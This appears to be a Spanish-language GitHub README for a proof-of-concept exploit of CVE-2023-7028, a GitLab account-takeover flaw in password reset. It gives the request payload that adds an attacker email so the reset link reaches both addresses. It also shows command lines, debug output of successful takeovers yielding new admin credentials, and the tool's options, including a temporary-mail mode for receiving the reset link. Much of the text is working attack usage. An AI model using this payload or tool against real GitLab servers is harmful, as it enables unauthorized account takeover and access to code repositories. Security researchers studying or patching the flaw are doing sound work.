shimon03/cve-2023-7028-account-take-over-gitlabPrueba de concepto del exploit para CVE-2023-7028, que automatiza la toma de control de cuentas de GitLab mediante la manipulación del correo de restablecimiento de contraseña. Incluye integración con temp-mail y soporte para correo electrónico personalizado del atacante.
Este código es una prueba de concepto de la vulnerabilidad; no animo a nadie a usarlo en instancias de GitLab que no sean de su propiedad.
Esta herramienta ha sido desarrollada únicamente con fines de investigación y educativos, y no me haré responsable de cualquier uso que se le dé.
CVE-2023-7028 se refiere a una vulnerabilidad de Account-Take-Over (toma de control de cuenta) que permite a los usuarios tomar el control de la cuenta de administrador de GitLab sin interacción del usuario.
La vulnerabilidad reside en la gestión de los correos electrónicos al restablecer contraseñas. Un atacante puede proporcionar 2 correos electrónicos y el código de restablecimiento se enviará a ambos.
Por lo tanto, es posible proporcionar la dirección de correo electrónico de la cuenta objetivo, así como la del atacante, y restablecer la contraseña del administrador.
(GitLab señala que la autenticación de dos factores impide que se explote esta vulnerabilidad, ya que un atacante, incluso después de restablecer la contraseña, no podrá iniciar sesión.)
Esta vulnerabilidad fue descubierta por asterion04
Aquí hay un ejemplo de payload
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
Sin la opción --evil, que especifica la dirección de correo del atacante, el script utiliza un correo temporal público para encontrar el enlace de restablecimiento de contraseña.
=> Ten cuidado si este POC se utiliza durante una prueba de penetración.